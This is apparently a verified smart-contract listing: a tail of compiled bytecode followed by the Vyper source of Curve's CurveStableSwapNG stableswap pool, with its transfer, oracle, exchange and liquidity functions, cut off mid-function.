00151610c4051808203828111615226579050905060018103818111615226579050610c60526402540be400610c6051610bc051610980518110156152265760051b6109a0015161096051808201828110615226579050905060011c604052610be051610980518110156152265760051b6109a00151610c4051808201828110615226579050905060011c606052600a546080526142e5610ca06138c4565b610ca051808202811583838304141715615226579050905004610c8052610c6051610c80518082038281116152265790509050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050610be051610aa0518110156152265760051b610ac0015180156152265780820490509050610c6052610be051601054811015615226576011018054610be051610aa0518110156152265760051b610ac001516402540be400610c805164012a05f20081028164012a05f20082041861522657905004670de0b6b3a7640000810281670de0b6b3a76400008204186152265790500480820182811061522657905090508155506109805160208160051b0180610ca08261098060045afa50505061096051610bc051610ca0518110156152265760051b610cc00152610c4051610be051610ca0518110156152265760051b610cc00152610ca05160208160051b018061034082610ca060045afa505050610c005161046052610c20516104805261445d613ed0565b610c6051815250565b610e0051610de0511461522657610e20511561522657614487610fc0612d26565b610fc0805160208160051b0180610ea0828560045afa505050506144ac6110e0613055565b6110e0805160208160051b0180610fc0828560045afa50505050610ea05160208160051b0180604082610ea060045afa505050610fc05160208160051b018061016082610fc060045afa505050614504611200613188565b611200805160208160051b01806110e0828560045afa50505050610de051604052610e2051606052610dc051608052610e805160a052614545611220612993565b6112205161120052610de0516110e0518110156152265760051b6111000151670de0b6b3a764000061120051610de051610ea0518110156152265760051b610ec0015180820281158383830414171561522657905090500480820182811061522657905090506112205261122051610960526110e05160208160051b0180610980826110e060045afa505050610ea05160208160051b0180610aa082610ea060045afa505050610de051610bc052610e0051610be05261460661126061419a565b6112605161124052610e40516112405110156146a657602e611260527f45786368616e676520726573756c74656420696e20666577657220636f696e73611280527f207468616e2065787065637465640000000000000000000000000000000000006112a05261126050611260518061128001601f825f031636823750506308c379a061122052602061124052601f19601f61126051011660440161123cfd5b610e005160405261124051606052610e60516080526146c3612b55565b337f8b3e96f2b889fa771c53c981b40daf005f63f637f1869f707052d15a3dd97140610de051611260526112005161128052610e00516112a052611240516112c0526080611260a261124051815250565b6103c05160208160051b01806040826103c060045afa5050506104e05160208160051b0180610160826104e060045afa505050614752610740613188565b610740805160208160051b0180610620828560045afa505050506106205160208160051b018060408261062060045afa5050506106005161016052614798610740613347565b61074051815250565b5f606051126152265760206154135f395f516060511215615226576060366101c0376101a0516102205260405160206153f35f395f518082028115838383041417156152265790509050610240525f6008905b806102605260206154135f395f516102605118614810576148b2565b60605161026051146148a757610260516080518110156152265760051b60a001516101e05261483e566148a7565b6101c0516101e05180820182811061522657905090506101c052610220516101a05180820281158383830414171561522657905090506101e05160206153f35f395f51808202811583838304141715615226579050905080156152265780820490509050610220525b6001018181186147f4575b5050610220516101a0518082028115838383041417156152265790509050606481028160648204186152265790506102405160206153f35f395f51808202811583838304141715615226579050905080156152265780820490509050610220526101c0516101a0516064810281606482041861522657905061024051801561522657808204905090508082018281106152265790509050610260526101a051610280525f60ff905b806102a052610280516102005261028051610280518082028115838383041417156152265790509050610220518082018281106152265790509050610280518060011b818160011c186152265790506102605180820182811061522657905090506101a05180820382811161522657905090508015615226578082049050905061028052610200516102805111614a1a5760016102005161028051808203828111615226579050905011614a4557610280518352505050614a5556614a45565b60016102805161020051808203828111615226579050905011614a4557610280518352505050614a55565b60010181811861495a5750505f5ffd5b565b614a6261042061323c565b6104205161040052614a75610540612d26565b610540805160208160051b0180610420828560045afa505050506104205160208160051b01806108a08261042060045afa505050614ab4610660613055565b610660805160208160051b01806109c0828560045afa5050505061024060406102406108a060045afa50614ae9610780613188565b610780805160208160051b0180610540828560045afa505050506105405160208160051b018060408261054060045afa5050506104005161016052614b2f610680613347565b610680516106605260285461068052610660516103c051610660518082028115838383041417156152265790509050610680518015615226578082049050905080820382811161522657905090506106a052610400516040526103e0516060526105405160208160051b018060808261054060045afa5050506106a0516101a052614bbb6106e06147a1565b6106e0516106c052600160206153f35f395f510360021b60206153f35f395f51600a5402046106e0526105405160208160051b01806107008261054060045afa50505060206153f35f395f5160011b610660516106a05180820182811061522657905090500461082052608036610840375f6008905b806108c05260206154135f395f516108c05118614c4d57614daa565b5f610840526108c051610540518110156152265760051b6105600151610860526103e0516108c05118614cdf57610860516106a051808202811583838304141715615226579050905061066051801561522657808204905090506106c051808203828111615226579050905061084052610860516106c051808201828110615226579050905060011c61088052614d2b565b61086051610860516106a0518082028115838383041417156152265790509050610660518015615226578082049050905080820382811161522657905090506108405261086051610880525b61088051604052610820516060526106e051608052614d4b6108e06138c4565b6108e0516108a052610860516402540be4006108a0516108405180820281158383830414171561522657905090500480820382811161522657905090506108c051610700518110156152265760051b6107200152600101818118614c31575b50506103e051610700518110156152265760051b6107200151610400516040526103e0516060526107005160208160051b018060808261070060045afa5050506106a0516101a052614dfd6108e06147a1565b6108e05180820382811161522657905090506108c0526103e051610540518110156152265760051b61056001516106c0518082038281116152265790509050670de0b6b3a7640000810281670de0b6b3a76400008204186152265790506103e051610420518110156152265760051b6104400151801561522657808204905090506108e0526103e051610420518110156152265760051b61044001516108c05160018103818111615226579050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050046108c0526106c0516103e051610540518110156152265760051b61056001526108c05181526108e0516108c051808203828111615226579050905060208201526105405160208160051b016040830181818361054060045afa50505050610400516101608201526106a05161018082015250565b602854606051808203828111615226579050905060285560266040516020525f5260405f20805460605180820382811161522657905090508155505f6040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60605160805260206080a3565b60206154335f395f5163cab4d3db610160526020610160600461017c845afa614fd5573d5f5f3e3d5ffd5b60203d1061522657610160518060a01c615226576101a0526101a0905051610140526101405161500457615115565b60105460208160051b015f81601f0160051c6009811161522657801561503f57905b80601001548160051b6101600152600101818118615026575b505050505f60206154135f395f51600881116152265780156150d257905b806102805261028051610160518110156152265760051b6101800151156150c7576102805160405261028051610160518110156152265760051b6101800151606052610140516080526150ae612b55565b5f61028051610160518110156152265760051b61018001525b60010181811861505d575b50506101605160208160051b015f81601f0160051c6009811161522657801561511057905b8060051b610160015181601001556001018181186150f7575b505050505b565b6020615bf35f395f51461461519f577fd87cd6ef79d4e2b95e15ce8abf732db51ec771f1ca2edccf22a46c729ac564726060526020615bd36080397f1c54f243822e0e9a0a377610b81577e771b3efe79964e76636b0d5d10247950d60a0524660c0523060e0526020615c136101003960c060405260408051602082012090508152506151a8565b6020615c338239505b565b60266040516020525f5260405f208054608051808203828111615226579050905081555060266060516020525f5260405f20805460805180820182811061522657905090508155506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60805160a052602060a0a3565b5f80fd0299538309065752a30a809452480d1cfc52e90c008153c207076c533d0ad40ddb8c1550652081066c00dc059c4258c4011a053931ab5219c72554fd4d5001c90576a9cd3e255e455e604cd2156085b72df5de03f4651a4d01d20bff6567df02ca207a6529357750006705e2e7d26400f425ec0238621a1025fd0684b124f20518160ddd220405a9059cbb1baa4570a0823102372530c5408519ac05ddca3f43009d055e0d443f21266506fdde03013205a7256d0903fe85c66106570075258edfdd5f00a905ddc1f59d02dea5cc2b27d721d24590d2083719f3253644e515206805313ce56701be05081579a50c09851ddc3b01012605d505accf1d3de5bfa0b13302c60595d89b410178051be913a5010e057706db750e1765fee3f7f900b505095ea7b31cd54514f0597924860565bbea6b28be45907a016b1b7705b4b577ad00d0054903b0d1245e2523b872dd1bdb65687276531b27252969e04a157aa5551a65882761051405228800e8055409491a00c405015c28382803454a6e32c60e21857ecebe0002a0257e3db030035d85dd62ed3e025d45bb7b8b802219053c157e6426034576a2f0f0244e053df0212402d485f446c1d02435053db06dd8232565afb430120367a5000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000006a8cbed756804b16e05e741edabd5cb544ae21bf0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000c3ade5ace1bbb033ccae8177c12ecbfa16bd6a9d000000000000000000000000f951e335afb289353dc249e82926178eac7ded78000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002679aefce0000000000000000ebfa0353dff1801f5c8ea07448771d6fadd1e7210000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d696e73774554482f7377455448000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a637276696e737745544800000000000000000000000000000000000000000000556bb8437000f37773257e8539859a5b8f3c84dc193c030736213f3bcf3986ed0000000000000000000000000000000000000000000000000000000000000001046381d13b15cdcb1c5d8904d9cfd1f3fb081854b6700ba08e13058551f1f71fd7bf71407b11b9c436b869c0d794f17e82c78da8b13e44d7f3e350a2dbb985f8
# pragma version 0.3.10 # pragma optimize codesize # pragma evm-version shanghai """ @title CurveStableSwapNG @author Curve.Fi @license Copyright (c) Curve.Fi, 2020-2023 - all rights reserved @notice Stableswap implementation for up to 8 coins with no rehypothecation, i.e. the AMM does not deposit tokens into other contracts. The Pool contract also records exponential moving averages for coins relative to coin 0. @dev Asset Types: 0. Standard ERC20 token with no additional features. Note: Users are advised to do careful due-diligence on ERC20 tokens that they interact with, as this contract cannot differentiate between harmless and malicious ERC20 tokens. 1. Oracle - token with rate oracle (e.g. wstETH) Note: Oracles may be controlled externally by an EOA. Users are advised to proceed with caution. 2. Rebasing - token with rebase (e.g. stETH). Note: Users and Integrators are advised to understand how the AMM contract works with rebasing balances. 3. ERC4626 - token with convertToAssets method (e.g. sDAI). Note: Some ERC4626 implementations may be susceptible to Donation/Inflation attacks. Users are advised to proceed with caution. NOTE: Pool Cannot support tokens with multiple asset types: e.g. ERC4626 with fees are not supported. Supports: 1. ERC20 support for return True/revert, return True/False, return None 2. ERC20 tokens can have arbitrary decimals (<=18). 3. ERC20 tokens that rebase (either positive or fee on transfer) 4. ERC20 tokens that have a rate oracle (e.g. wstETH, cbETH, sDAI, etc.) Note: Oracle precision _must_ be 10**18. 5. ERC4626 tokens with arbitrary precision (<=18) of Vault token and underlying asset. Additional features include: 1. Adds price oracles based on AMM State Price (and _not_ last traded price). 2. Adds TVL oracle based on D. 3. `exchange_received`: swaps that expect an ERC20 transfer to have occurred prior to executing the swap. Note: a. If pool contains rebasing tokens and one of the `asset_types` is 2 (Rebasing) then calling `exchange_received` will REVERT. b. If pool contains rebasing token and `asset_types` does not contain 2 (Rebasing) then this is an incorrect implementation and rebases can be stolen. 4. Adds `get_dx`: Similar to `get_dy` which returns an expected output of coin[j] for given `dx` amount of coin[i], `get_dx` returns expected input of coin[i] for an output amount of coin[j]. 5. Fees are dynamic: AMM will charge a higher fee if pool depegs. This can cause very slight discrepancies between calculated fees and realised fees. """ from vyper.interfaces import ERC20 from vyper.interfaces import ERC20Detailed from vyper.interfaces import ERC4626 implements: ERC20 # ------------------------------- Interfaces --------------------------------- interface Factory: def fee_receiver() -> address: view def admin() -> address: view def views_implementation() -> address: view interface ERC1271: def isValidSignature(_hash: bytes32, _signature: Bytes[65]) -> bytes32: view interface StableSwapViews: def get_dx(i: int128, j: int128, dy: uint256, pool: address) -> uint256: view def get_dy(i: int128, j: int128, dx: uint256, pool: address) -> uint256: view def dynamic_fee(i: int128, j: int128, pool: address) -> uint256: view def calc_token_amount( _amounts: DynArray[uint256, MAX_COINS], _is_deposit: bool, _pool: address ) -> uint256: view # --------------------------------- Events ----------------------------------- event Transfer: sender: indexed(address) receiver: indexed(address) value: uint256 event Approval: owner: indexed(address) spender: indexed(address) value: uint256 event TokenExchange: buyer: indexed(address) sold_id: int128 tokens_sold: uint256 bought_id: int128 tokens_bought: uint256 event TokenExchangeUnderlying: buyer: indexed(address) sold_id: int128 tokens_sold: uint256 bought_id: int128 tokens_bought: uint256 event AddLiquidity: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] invariant: uint256 token_supply: uint256 event RemoveLiquidity: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] token_supply: uint256 event RemoveLiquidityOne: provider: indexed(address) token_id: int128 token_amount: uint256 coin_amount: uint256 token_supply: uint256 event RemoveLiquidityImbalance: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] invariant: uint256 token_supply: uint256 event RampA: old_A: uint256 new_A: uint256 initial_time: uint256 future_time: uint256 event StopRampA: A: uint256 t: uint256 event ApplyNewFee: fee: uint256 offpeg_fee_multiplier: uint256 event SetNewMATime: ma_exp_time: uint256 D_ma_time: uint256 MAX_COINS: constant(uint256) = 8 # max coins is 8 in the factory MAX_COINS_128: constant(int128) = 8 # ---------------------------- Pool Variables -------------------------------- N_COINS: public(immutable(uint256)) N_COINS_128: immutable(int128) PRECISION: constant(uint256) = 10 ** 18 factory: immutable(Factory) coins: public(immutable(DynArray[address, MAX_COINS])) asset_types: immutable(DynArray[uint8, MAX_COINS]) pool_contains_rebasing_tokens: immutable(bool) stored_balances: DynArray[uint256, MAX_COINS] # Fee specific vars FEE_DENOMINATOR: constant(uint256) = 10 ** 10 fee: public(uint256) # fee * 1e10 offpeg_fee_multiplier: public(uint256) # * 1e10 admin_fee: public(constant(uint256)) = 5000000000 MAX_FEE: constant(uint256) = 5 * 10 ** 9 # ---------------------- Pool Amplification Parameters ----------------------- A_PRECISION: constant(uint256) = 100 MAX_A: constant(uint256) = 10 ** 6 MAX_A_CHANGE: constant(uint256) = 10 initial_A: public(uint256) future_A: public(uint256) initial_A_time: public(uint256) future_A_time: public(uint256) # ---------------------------- Admin Variables ------------------------------- MIN_RAMP_TIME: constant(uint256) = 86400 admin_balances: public(DynArray[uint256, MAX_COINS]) # ----------------------- Oracle Specific vars ------------------------------- rate_multipliers: immutable(DynArray[uint256, MAX_COINS]) # [bytes4 method_id][bytes8 <empty>][bytes20 oracle] rate_oracles: immutable(DynArray[uint256, MAX_COINS]) # For ERC4626 tokens, we need: call_amount: immutable(DynArray[uint256, MAX_COINS]) scale_factor: immutable(DynArray[uint256, MAX_COINS]) last_prices_packed: DynArray[uint256, MAX_COINS] # packing: last_price, ma_price last_D_packed: uint256 # packing: last_D, ma_D ma_exp_time: public(uint256) D_ma_time: public(uint256) ma_last_time: public(uint256) # packing: ma_last_time_p, ma_last_time_D # ma_last_time has a distinction for p and D because p is _not_ updated if # users remove_liquidity, but D is. # shift(2**32 - 1, 224) ORACLE_BIT_MASK: constant(uint256) = (2**32 - 1) * 256**28 # --------------------------- ERC20 Specific Vars ---------------------------- name: public(immutable(String[64])) symbol: public(immutable(String[32])) decimals: public(constant(uint8)) = 18 version: public(constant(String[8])) = "v7.0.0" balanceOf: public(HashMap[address, uint256]) allowance: public(HashMap[address, HashMap[address, uint256]]) total_supply: uint256 nonces: public(HashMap[address, uint256]) # keccak256("isValidSignature(bytes32,bytes)")[:4] << 224 ERC1271_MAGIC_VAL: constant(bytes32) = 0x1626ba7e00000000000000000000000000000000000000000000000000000000 EIP712_TYPEHASH: constant(bytes32) = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)") EIP2612_TYPEHASH: constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") VERSION_HASH: constant(bytes32) = keccak256(version) NAME_HASH: immutable(bytes32) CACHED_CHAIN_ID: immutable(uint256) salt: public(immutable(bytes32)) CACHED_DOMAIN_SEPARATOR: immutable(bytes32) # ------------------------------ AMM Setup ----------------------------------- @external def __init__( _name: String[32], _symbol: String[10], _A: uint256, _fee: uint256, _offpeg_fee_multiplier: uint256, _ma_exp_time: uint256, _coins: DynArray[address, MAX_COINS], _rate_multipliers: DynArray[uint256, MAX_COINS], _asset_types: DynArray[uint8, MAX_COINS], _method_ids: DynArray[bytes4, MAX_COINS], _oracles: DynArray[address, MAX_COINS], ): """ @notice Initialize the pool contract @param _name Name of the new plain pool. @param _symbol Symbol for the new plain pool. @param _A Amplification co-efficient - a lower value here means less tolerance for imbalance within the pool's assets. Suggested values include: * Uncollateralized algorithmic stablecoins: 5-10 * Non-redeemable, collateralized assets: 100 * Redeemable assets: 200-400 @param _fee Trade fee, given as an integer with 1e10 precision. The the maximum is 1% (100000000). 50% of the fee is distributed to veCRV holders. @param _offpeg_fee_multiplier A multiplier that determines how much to increase Fees by when assets in the AMM depeg. Example value: 20000000000 @param _ma_exp_time Averaging window of oracle. Set as time_in_seconds / ln(2) Example: for 10 minute EMA, _ma_exp_time is 600 / ln(2) ~= 866 @param _coins List of addresses of the coins being used in the pool. @param _rate_multipliers An array of: [10 ** (36 - _coins[n].decimals()), ... for n in range(N_COINS)] @param _asset_types Array of uint8 representing tokens in pool @param _method_ids Array of first four bytes of the Keccak-256 hash of the function signatures of the oracle addresses that gives rate oracles. Calculated as: keccak(text=event_signature.replace(" ", ""))[:4] @param _oracles Array of rate oracle addresses. """ coins = _coins asset_types = _asset_types pool_contains_rebasing_tokens = 2 in asset_types __n_coins: uint256 = len(_coins) N_COINS = __n_coins N_COINS_128 = convert(__n_coins, int128) rate_multipliers = _rate_multipliers factory = Factory(msg.sender) A: uint256 = unsafe_mul(_A, A_PRECISION) self.initial_A = A self.future_A = A self.fee = _fee self.offpeg_fee_multiplier = _offpeg_fee_multiplier assert _ma_exp_time != 0 self.ma_exp_time = _ma_exp_time self.D_ma_time = 62324 # <--------- 12 hours default on contract start. self.ma_last_time = self.pack_2(block.timestamp, block.timestamp) # ------------------- initialize storage for DynArrays ------------------ _call_amount: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) _scale_factor: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) _rate_oracles: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) for i in range(N_COINS_128, bound=MAX_COINS_128): if i < N_COINS_128 - 1: self.last_prices_packed.append(self.pack_2(10**18, 10**18)) _rate_oracles.append(convert(_method_ids[i], uint256) * 2**224 | convert(_oracles[i], uint256)) self.stored_balances.append(0) self.admin_balances.append(0) if _asset_types[i] == 3: _call_amount.append(10**convert(ERC20Detailed(_coins[i]).decimals(), uint256)) _underlying_asset: address = ERC4626(_coins[i]).asset() _scale_factor.append(10**(18 - convert(ERC20Detailed(_underlying_asset).decimals(), uint256))) else: _call_amount.append(0) _scale_factor.append(0) call_amount = _call_amount scale_factor = _scale_factor rate_oracles = _rate_oracles # ----------------------------- ERC20 stuff ------------------------------ name = _name symbol = _symbol # EIP712 related params ----------------- NAME_HASH = keccak256(name) salt = block.prevhash CACHED_CHAIN_ID = chain.id CACHED_DOMAIN_SEPARATOR = keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) # ------------------------ Fire a transfer event ------------------------- log Transfer(empty(address), msg.sender, 0) # ------------------ Token transfers in and out of the AMM ------------------- @internal def _transfer_in( coin_idx: int128, dx: uint256, sender: address, expect_optimistic_transfer: bool, ) -> uint256: """ @notice Contains all logic to handle ERC20 token transfers. @param coin_idx Index of the coin to transfer in. @param dx amount of `_coin` to transfer into the pool. @param sender address to transfer `_coin` from. @param receiver address to transfer `_coin` to. @param expect_optimistic_transfer True if contract expects an optimistic coin transfer """ _dx: uint256 = ERC20(coins[coin_idx]).balanceOf(self) # ------------------------- Handle Transfers ----------------------------- if expect_optimistic_transfer: _dx = _dx - self.stored_balances[coin_idx] assert _dx >= dx else: assert dx > 0 # dev : do not transferFrom 0 tokens into the pool assert ERC20(coins[coin_idx]).transferFrom( sender, self, dx, default_return_value=True ) _dx = ERC20(coins[coin_idx]).balanceOf(self) - _dx # --------------------------- Store transferred in amount --------------------------- self.stored_balances[coin_idx] += _dx return _dx @internal def _transfer_out(_coin_idx: int128, _amount: uint256, receiver: address): """ @notice Transfer a single token from the pool to receiver. @dev This function is called by `remove_liquidity` and `remove_liquidity_one_coin`, `_exchange`, `_withdraw_admin_fees` and `remove_liquidity_imbalance` methods. @param _coin_idx Index of the token to transfer out @param _amount Amount of token to transfer out @param receiver Address to send the tokens to """ assert receiver != empty(address) # dev: do not send tokens to zero_address if not pool_contains_rebasing_tokens: # we need not cache balanceOf pool before swap out self.stored_balances[_coin_idx] -= _amount assert ERC20(coins[_coin_idx]).transfer( receiver, _amount, default_return_value=True ) else: # cache balances pre and post to account for fee on transfers etc. coin_balance: uint256 = ERC20(coins[_coin_idx]).balanceOf(self) assert ERC20(coins[_coin_idx]).transfer( receiver, _amount, default_return_value=True ) self.stored_balances[_coin_idx] = coin_balance - _amount # -------------------------- AMM Special Methods ----------------------------- @view @internal def _stored_rates() -> DynArray[uint256, MAX_COINS]: """ @notice Gets rate multipliers for each coin. @dev If the coin has a rate oracle that has been properly initialised, this method queries that rate by static-calling an external contract. """ rates: DynArray[uint256, MAX_COINS] = rate_multipliers for i in range(N_COINS_128, bound=MAX_COINS_128): if asset_types[i] == 1 and not rate_oracles[i] == 0: # NOTE: fetched_rate is assumed to be 10**18 precision oracle_response: Bytes[32] = raw_call( convert(rate_oracles[i] % 2**160, address), _abi_encode(rate_oracles[i] & ORACLE_BIT_MASK), max_outsize=32, is_static_call=True, ) assert len(oracle_response) == 32 fetched_rate: uint256 = convert(oracle_response, uint256) rates[i] = unsafe_div(rates[i] * fetched_rate, PRECISION) elif asset_types[i] == 3: # ERC4626 # fetched_rate: uint256 = ERC4626(coins[i]).convertToAssets(call_amount[i]) * scale_factor[i] # here: call_amount has ERC4626 precision, but the returned value is scaled up to 18 # using scale_factor which is (18 - n) if underlying asset has n decimals. rates[i] = unsafe_div( rates[i] * ERC4626(coins[i]).convertToAssets(call_amount[i]) * scale_factor[i], PRECISION ) # 1e18 precision return rates @view @internal def _balances() -> DynArray[uint256, MAX_COINS]: """ @notice Calculates the pool's balances _excluding_ the admin's balances. @dev If the pool contains rebasing tokens, this method ensures LPs keep all rebases and admin only claims swap fees. This also means that, since admin's balances are stored in an array and not inferred from read balances, the fees in the rebasing token that the admin collects is immune to slashing events. """ result: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) balances_i: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): if pool_contains_rebasing_tokens: # Read balances by gulping to account for rebases balances_i = ERC20(coins[i]).balanceOf(self) - self.admin_balances[i] else: # Use cached balances balances_i = self.stored_balances[i] - self.admin_balances[i] result.append(balances_i) return result # -------------------------- AMM Main Functions ------------------------------ @external @nonreentrant('lock') def exchange( i: int128, j: int128, _dx: uint256, _min_dy: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Perform an exchange between two coins @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param _dx Amount of `i` being exchanged @param _min_dy Minimum amount of `j` to receive @param _receiver Address that receives `j` @return Actual amount of `j` received """ return self._exchange( msg.sender, i, j, _dx, _min_dy, _receiver, False ) @external @nonreentrant('lock') def exchange_received( i: int128, j: int128, _dx: uint256, _min_dy: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Perform an exchange between two coins without transferring token in @dev The contract swaps tokens based on a change in balance of coin[i]. The dx = ERC20(coin[i]).balanceOf(self) - self.stored_balances[i]. Users of this method are dex aggregators, arbitrageurs, or other users who do not wish to grant approvals to the contract: they would instead send tokens directly to the contract and call `exchange_received`. Note: This is disabled if pool contains rebasing tokens. @param i Index value for the coin to send @param j Index value of the coin to receive @param _dx Amount of `i` being exchanged @param _min_dy Minimum amount of `j` to receive @param _receiver Address that receives `j` @return Actual amount of `j` received """ assert not pool_contains_rebasing_tokens # dev: exchange_received not supported if pool contains rebasing tokens return self._exchange( msg.sender, i, j, _dx, _min_dy, _receiver, True, # <--------------------------------------- swap optimistically. ) @external @nonreentrant('lock') def add_liquidity( _amounts: DynArray[uint256, MAX_COINS], _min_mint_amount: uint256, _receiver: address = msg.sender ) -> uint256: """ @notice Deposit coins into the pool @param _amounts List of amounts of coins to deposit @param _min_mint_amount Minimum amount of LP tokens to mint from the deposit @param _receiver Address that owns the minted LP tokens @return Amount of LP tokens received by depositing """ assert _receiver != empty(address) # dev: do not send LP tokens to zero_address amp: uint256 = self._A() old_balances: DynArray[uint256, MAX_COINS] = self._balances() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() # Initial invariant D0: uint256 = self.get_D_mem(rates, old_balances, amp) total_supply: uint256 = self.total_supply new_balances: DynArray[uint256, MAX_COINS] = old_balances # -------------------------- Do Transfers In ----------------------------- for i in range(N_COINS_128, bound=MAX_COINS_128): if _amounts[i] > 0: new_balances[i] += self._transfer_in( i, _amounts[i], msg.sender, False, # expect_optimistic_transfer ) else: assert total_supply != 0 # dev: initial deposit requires all coins # ------------------------------------------------------------------------ # Invariant after change D1: uint256 = self.get_D_mem(rates, new_balances, amp) assert D1 > D0 # We need to recalculate the invariant accounting for fees # to calculate fair user's share fees: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) mint_amount: uint256 = 0 if total_supply > 0: ideal_balance: uint256 = 0 difference: uint256 = 0 new_balance: uint256 = 0 ys: uint256 = unsafe_div(D0 + D1, N_COINS) xs: uint256 = 0 _dynamic_fee_i: uint256 = 0 # Only account for fees if we are not the first to deposit base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) for i in range(N_COINS_128, bound=MAX_COINS_128): ideal_balance = D1 * old_balances[i] / D0 difference = 0 new_balance = new_balances[i] if ideal_balance > new_balance: difference = unsafe_sub(ideal_balance, new_balance) else: difference = unsafe_sub(new_balance, ideal_balance) # fee[i] = _dynamic_fee(i, j) * difference / FEE_DENOMINATOR xs = unsafe_div(rates[i] * (old_balances[i] + new_balance), PRECISION) _dynamic_fee_i = self._dynamic_fee(xs, ys, base_fee) fees.append(unsafe_div(_dynamic_fee_i * difference, FEE_DENOMINATOR)) self.admin_balances[i] += unsafe_div(fees[i] * admin_fee, FEE_DENOMINATOR) new_balances[i] -= fees[i] xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, new_balances) D1 = self.get_D(xp, amp) # <--------------- Reuse D1 for new D value. mint_amount = unsafe_div(total_supply * (D1 - D0), D0) self.upkeep_oracles(xp, amp, D1) else: mint_amount = D1 # Take the dust if there was any # (re)instantiate D oracle if totalSupply is zero. self.last_D_packed = self.pack_2(D1, D1) # Update D ma time: ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) if ma_last_time_unpacked[1] < block.timestamp: ma_last_time_unpacked[1] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) assert mint_amount >= _min_mint_amount, "Slippage screwed you" # Mint pool tokens total_supply += mint_amount self.balanceOf[_receiver] += mint_amount self.total_supply = total_supply log Transfer(empty(address), _receiver, mint_amount) log AddLiquidity(msg.sender, _amounts, fees, D1, total_supply) return mint_amount @external @nonreentrant('lock') def remove_liquidity_one_coin( _burn_amount: uint256, i: int128, _min_received: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Withdraw a single coin from the pool @param _burn_amount Amount of LP tokens to burn in the withdrawal @param i Index value of the coin to withdraw @param _min_received Minimum amount of coin to receive @param _receiver Address that receives the withdrawn coins @return Amount of coin received """ assert _burn_amount > 0 # dev: do not remove 0 LP tokens dy: uint256 = 0 fee: uint256 = 0 xp: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) amp: uint256 = empty(uint256) D: uint256 = empty(uint256) dy, fee, xp, amp, D = self._calc_withdraw_one_coin(_burn_amount, i) assert dy >= _min_received, "Not enough coins removed" self.admin_balances[i] += unsafe_div(fee * admin_fee, FEE_DENOMINATOR) self._burnFrom(msg.sender, _burn_amount) self._transfer_out(i, dy, _receiver) log 